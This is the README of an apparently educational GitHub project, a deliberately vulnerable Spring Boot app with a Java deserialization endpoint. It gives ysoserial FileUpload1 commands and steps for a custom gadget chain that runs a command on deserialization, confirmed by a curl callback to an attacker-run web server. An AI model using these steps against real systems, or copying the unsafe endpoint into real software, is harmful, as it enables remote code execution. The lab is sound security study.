-
How to Run:
- Run via
mvn spring-boot:run
- Run via
-
Routes:
- Read
blub.txt
file: Visit/file-test?file=blub.txt
- Serialize:
- Get a serialized
Book
object: Visit/serialize?doUrlEncode=false
- Get a serialized
Book
object that is also URL encoded: Visit/serialize?doUrlEncode=true
- Get a serialized
- Deserialize:
GET
: VisitGET /deserialize?b=<base64book_UrlEncoded>
POST
: VisitPOST /deserialize
and provide theobject-to-deserialize
in the body
- Read
-
Exploiting a
Gadget Chain
(that still works as of August 2022!):- As a PoC, the
pom.xml
containscommons-fileupload:1.3.1
andcommons-io:2.4
- Thus, we can use the
FileUpload1
gadget chain fromysoserial
:java -jar ysoserial.jar FileUpload1 'write;/tmp;HACKEEED' | base64
- We send this to our
Spring Boot
app, which will create a randomly named file (e.g./tmp/upload_1e2897d1_aac7_4210_8911_57cbb6ac37c0_00000000.tmp
) in/tmp
with the contentHACKEEED
- As a PoC, the
-
We also created our own
Gadget Chain
->BookRceReadObject
(uses the gadgetreadObject
)General Description
:- We created a new class
BookRceReadObject.java
that execute a command upon deserialization - We also create a separate mini app
Evil.java
where we serialize an instance of this class, give it a command of our choosing, and then send the serialized base64-encoded string toPOST /deserialize
- We created a new class
Command to Execute
:- You can adjust the command to execute in
Evil.java
(this can't be done via a command line argument for now - Boo, I know.)
- You can adjust the command to execute in
Setup
:- We first compile
Evil.java
viajavac Evil.java BookRceSetter.java BookRceSetter.java
- Now, we
cd
into the/src/main/java
folder, and runjava com.example.my.tests.Evil
- We now use the generated file
naughty_BookRceReadObject.ser
that contains a base64 encoded version of our serialized payload
- We first compile
Exploitation
:PoC
-curl
:- We run a web server via
python3 -m http.server 82
- Now, we adjust the IP address of the
curl
command inEvil.java
to wherever this web server is running - Last, we send a request to our API:
POST /deserialize
Content-Type: application/json
<content ofnaughty_BookRceReadObject.ser
> - If everything works, our web server gets hit
- We run a web server via
-
Testing
Setter Gadget Chain
-> Not working- We also create
BookRceSetter.java
which would execute a command upon calling a setter- Our idea is that a
setter
might be automatically invoked upon deserialization (to set the corresponding value)
- Our idea is that a
- We do the same steps as in the above section, send the payload from
naughty_BookRceSetter.ser
to/POST deserialize
...- But it's not working.. Our command does not execute...
- We also create
-
Notifications
You must be signed in to change notification settings - Fork 0
This project contains a Java deserialization vulnerability that is exploitable with some ysoserial payloads, but also contains a custom class that can be leveraged to get command execution upon deserialization.
dub-flow/java-gadget-chain
Folders and files
Name | Name | Last commit message | Last commit date | |
---|---|---|---|---|
Repository files navigation
About
This project contains a Java deserialization vulnerability that is exploitable with some ysoserial payloads, but also contains a custom class that can be leveraged to get command execution upon deserialization.
Topics
Resources
Stars
Watchers
Forks
Releases
No releases published
Packages 0
No packages published